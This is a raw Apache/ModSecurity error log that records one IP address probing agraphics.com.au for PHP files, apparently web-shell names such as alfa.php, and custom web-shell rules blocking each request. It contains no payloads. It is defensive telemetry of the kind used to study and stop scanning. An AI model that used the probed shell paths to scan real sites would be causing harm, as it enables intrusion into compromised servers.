[Wed Dec 24 21:12:14.693672 2025] [:error] [pid 16468:tid 16547] [client 20.58.140.78:9377] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aUvmrodyfuSTFLkCbP-j-wAAAJc"]
[Wed Dec 24 21:12:15.806375 2025] [:error] [pid 16550:tid 16564] [client 20.58.140.78:60938] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aUvmr6YYcdD-LuO7vrAVAwAAAMw"]
[Wed Dec 24 21:12:21.263718 2025] [:error] [pid 54139:tid 54148] [client 20.58.140.78:9361] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aUvmtcrYCZenIDzgXuK4GAAAAQc"]
[Wed Dec 24 21:12:22.823689 2025] [:error] [pid 28405:tid 28431] [client 20.58.140.78:9370] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/npi.php"] [unique_id "aUvmtsKkTWlhmfdXFqajSgAAAVU"]
[Wed Dec 24 21:12:24.091926 2025] [:error] [pid 16550:tid 16557] [client 20.58.140.78:60988] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/npi.php"] [unique_id "aUvmuKYYcdD-LuO7vrAVDQAAAMU"]
[Wed Dec 24 21:12:26.432206 2025] [:error] [pid 16467:tid 16510] [client 20.58.140.78:9262] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/npi.php"] [unique_id "aUvmuo0TJMcBxX5slgpfVQAAAE0"]
[Wed Dec 24 21:12:27.629147 2025] [:error] [pid 16466:tid 16483] [client 20.58.140.78:9279] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/npi.php"] [unique_id "aUvmu7u0JcuKJMjJn6xXGgAAAA0"]
[Wed Dec 24 21:12:29.835748 2025] [:error] [pid 29371:tid 29380] [client 20.58.140.78:9406] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aUvmvXs-DlKLysSq5L-tWgAAAcc"]
[Wed Dec 24 21:12:30.924145 2025] [:error] [pid 16467:tid 16516] [client 20.58.140.78:60966] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aUvmvo0TJMcBxX5slgpfYQAAAFM"]
[Wed Dec 24 21:12:32.691159 2025] [:error] [pid 16466:tid 16482] [client 20.58.140.78:9374] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aUvmwLu0JcuKJMjJn6xXIgAAAAw"]
[Wed Dec 24 21:12:34.109853 2025] [:error] [pid 28405:tid 28416] [client 20.58.140.78:60949] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "aUvmwsKkTWlhmfdXFqajZQAAAUc"]
[Wed Dec 24 21:12:36.082334 2025] [:error] [pid 16466:tid 16486] [client 20.58.140.78:9259] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aUvmxLu0JcuKJMjJn6xXLAAAABA"]
[Wed Dec 24 21:12:37.930772 2025] [:error] [pid 29371:tid 29378] [client 20.58.140.78:60961] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aUvmxXs-DlKLysSq5L-tagAAAcU"]
[Wed Dec 24 21:12:39.850613 2025] [:error] [pid 28405:tid 28411] [client 20.58.140.78:60944] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aUvmx8KkTWlhmfdXFqajcAAAAUI"]
[Wed Dec 24 21:12:40.879846 2025] [:error] [pid 29371:tid 29387] [client 20.58.140.78:60981] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aUvmyHs-DlKLysSq5L-tdAAAAc4"]
[Wed Dec 24 21:12:41.066352 2025] [:error] [pid 29371:tid 29388] [client 20.58.140.78:9863] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file17.php"] [unique_id "aUvmyXs-DlKLysSq5L-tdgAAAc8"]
[Wed Dec 24 21:12:41.446449 2025] [:error] [pid 16467:tid 16512] [client 20.58.140.78:9371] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file17.php"] [unique_id "aUvmyY0TJMcBxX5slgpfbwAAAE8"]
[Wed Dec 24 21:12:43.073471 2025] [:error] [pid 16550:tid 16555] [client 20.58.140.78:9403] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file17.php"] [unique_id "aUvmy6YYcdD-LuO7vrAVKwAAAMM"]
[Wed Dec 24 21:12:44.507734 2025] [:error] [pid 16466:tid 16490] [client 20.58.140.78:60942] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file17.php"] [unique_id "aUvmzLu0JcuKJMjJn6xXPgAAABQ"]
[Wed Dec 24 21:12:44.764284 2025] [:error] [pid 16467:tid 16517] [client 20.58.140.78:9396] [client 20.58.140.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aUvmzI0TJMcBxX5slgpfcAAAAFQ"]
[Wed Dec 24 21:12:49.974309 2025] [:error] [pid 16467:tid 16497] [client 20.58.140.78:60976] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aUvm0Y0TJMcBxX5slgpffQAAAEA"]
[Wed Dec 24 21:12:50.803393 2025] [:error] [pid 16467:tid 16506] [client 20.58.140.78:9232] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aUvm0o0TJMcBxX5slgpfgQAAAEk"]
[Wed Dec 24 21:12:51.965371 2025] [:error] [pid 16466:tid 16476] [client 20.58.140.78:60929] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aUvm07u0JcuKJMjJn6xXUwAAAAY"]
[Wed Dec 24 21:12:54.110817 2025] [:error] [pid 16550:tid 16559] [client 20.58.140.78:60991] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aUvm1qYYcdD-LuO7vrAVNAAAAMc"]
[Wed Dec 24 21:12:54.953652 2025] [:error] [pid 16550:tid 16576] [client 20.58.140.78:60987] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/litanies.php"] [unique_id "aUvm1qYYcdD-LuO7vrAVOQAAANg"]
[Wed Dec 24 21:12:55.320500 2025] [:error] [pid 28777:tid 28779] [client 20.58.140.78:9389] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/litanies.php"] [unique_id "aUvm15BVBcZ34cSqz8pKjwAAAYA"]
[Wed Dec 24 21:12:56.400340 2025] [:error] [pid 16550:tid 16555] [client 20.58.140.78:60945] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/litanies.php"] [unique_id "aUvm2KYYcdD-LuO7vrAVPgAAAMM"]
[Wed Dec 24 21:12:58.860268 2025] [:error] [pid 16467:tid 16503] [client 20.58.140.78:9251] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/litanies.php"] [unique_id "aUvm2o0TJMcBxX5slgpfjwAAAEY"]
[Wed Dec 24 21:13:00.187823 2025] [:error] [pid 28405:tid 28434] [client 20.58.140.78:60977] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aUvm3MKkTWlhmfdXFqajfQAAAVg"]
[Wed Dec 24 21:13:03.095204 2025] [:error] [pid 54139:tid 54152] [client 20.58.140.78:9277] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aUvm38rYCZenIDzgXuK4LgAAAQs"]
[Wed Dec 24 21:13:06.336563 2025] [:error] [pid 16466:tid 16475] [client 20.58.140.78:60959] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aUvm4ru0JcuKJMjJn6xXcgAAAAU"]
[Wed Dec 24 21:13:07.270928 2025] [:error] [pid 28405:tid 28429] [client 20.58.140.78:9382] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aUvm48KkTWlhmfdXFqajjQAAAVM"]
[Wed Dec 24 21:13:08.991818 2025] [:error] [pid 29371:tid 29385] [client 20.58.140.78:9219] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/readme.php"] [unique_id "aUvm5Hs-DlKLysSq5L-tlgAAAcw"]
[Wed Dec 24 21:13:14.357102 2025] [proxy_fcgi:error] [pid 16467:tid 16501] [client 20.58.140.78:60973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:13:14.376764 2025] [proxy_fcgi:error] [pid 16467:tid 16507] [client 20.58.140.78:60973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:13:14.395346 2025] [proxy_fcgi:error] [pid 16467:tid 16509] [client 20.58.140.78:60973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:13:14.429834 2025] [proxy_fcgi:error] [pid 16467:tid 16498] [client 20.58.140.78:60973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:13:14.471356 2025] [proxy_fcgi:error] [pid 16467:tid 16497] [client 20.58.140.78:60973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:13:14.492453 2025] [proxy_fcgi:error] [pid 16467:tid 16514] [client 20.58.140.78:60973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:13:14.705341 2025] [proxy_fcgi:error] [pid 16467:tid 16505] [client 20.58.140.78:60973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:13:14.888049 2025] [proxy_fcgi:error] [pid 16467:tid 16503] [client 20.58.140.78:60973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:13:14.910162 2025] [proxy_fcgi:error] [pid 16467:tid 16512] [client 20.58.140.78:60973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:13:14.990646 2025] [proxy_fcgi:error] [pid 16467:tid 16515] [client 20.58.140.78:60973] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:13:15.144034 2025] [:error] [pid 16467:tid 16500] [client 20.58.140.78:60973] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fjpeb.php"] [unique_id "aUvm640TJMcBxX5slgpfswAAAEM"]
[Wed Dec 24 21:13:17.096294 2025] [:error] [pid 29371:tid 29392] [client 20.58.140.78:60964] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fjpeb.php"] [unique_id "aUvm7Xs-DlKLysSq5L-tqgAAAdM"]
[Wed Dec 24 21:13:18.638092 2025] [:error] [pid 16467:tid 16520] [client 20.58.140.78:9384] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fjpeb.php"] [unique_id "aUvm7o0TJMcBxX5slgpftwAAAFc"]
[Wed Dec 24 21:13:22.879670 2025] [:error] [pid 16468:tid 16542] [client 20.58.140.78:9226] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fjpeb.php"] [unique_id "aUvm8odyfuSTFLkCbP-kRwAAAJI"]
[Wed Dec 24 21:13:23.662982 2025] [:error] [pid 28405:tid 28427] [client 20.58.140.78:9245] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aUvm88KkTWlhmfdXFqajpAAAAVE"]
[Wed Dec 24 21:13:25.343657 2025] [:error] [pid 29371:tid 29378] [client 20.58.140.78:9220] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aUvm9Xs-DlKLysSq5L-tsgAAAcU"]
[Wed Dec 24 21:13:25.807092 2025] [:error] [pid 28405:tid 28432] [client 20.58.140.78:9354] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aUvm9cKkTWlhmfdXFqajsQAAAVY"]
[Wed Dec 24 21:13:34.616896 2025] [:error] [pid 16466:tid 16476] [client 20.58.140.78:9858] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aUvm_ru0JcuKJMjJn6xXsgAAAAY"]
[Wed Dec 24 21:13:35.009609 2025] [:error] [pid 16466:tid 16489] [client 20.58.140.78:9254] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aUvm_7u0JcuKJMjJn6xXswAAABM"]
[Wed Dec 24 21:13:36.066398 2025] [:error] [pid 16467:tid 16509] [client 20.58.140.78:9360] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aUvnAI0TJMcBxX5slgpfvQAAAEw"]
[Wed Dec 24 21:13:37.117171 2025] [:error] [pid 28405:tid 28421] [client 20.58.140.78:9404] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aUvnAcKkTWlhmfdXFqajzgAAAUs"]
[Wed Dec 24 21:13:38.041136 2025] [:error] [pid 16467:tid 16516] [client 20.58.140.78:9268] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd67.php"] [unique_id "aUvnAo0TJMcBxX5slgpfxQAAAFM"]
[Wed Dec 24 21:13:40.893560 2025] [:error] [pid 16550:tid 16574] [client 20.58.140.78:9899] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aUvnBKYYcdD-LuO7vrAVhAAAANY"]
[Wed Dec 24 21:13:41.710591 2025] [:error] [pid 16466:tid 16474] [client 20.58.140.78:9387] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aUvnBbu0JcuKJMjJn6xXtgAAAAQ"]
[Wed Dec 24 21:13:43.125920 2025] [:error] [pid 16468:tid 16542] [client 20.58.140.78:9350] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aUvnB4dyfuSTFLkCbP-kYwAAAJI"]
[Wed Dec 24 21:13:45.123435 2025] [:error] [pid 16550:tid 16575] [client 20.58.140.78:9269] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "aUvnCaYYcdD-LuO7vrAVigAAANc"]
[Wed Dec 24 21:13:46.308102 2025] [:error] [pid 16467:tid 16505] [client 20.58.140.78:9897] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aUvnCo0TJMcBxX5slgpf1AAAAEg"]
[Wed Dec 24 21:13:50.253969 2025] [:error] [pid 16468:tid 16526] [client 20.58.140.78:9901] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aUvnDodyfuSTFLkCbP-kbwAAAII"]
[Wed Dec 24 21:13:54.747268 2025] [:error] [pid 28405:tid 28423] [client 20.58.140.78:9244] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aUvnEsKkTWlhmfdXFqaj7QAAAU0"]
[Wed Dec 24 21:13:55.134457 2025] [:error] [pid 16466:tid 16478] [client 20.58.140.78:60968] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aUvnE7u0JcuKJMjJn6xXygAAAAg"]
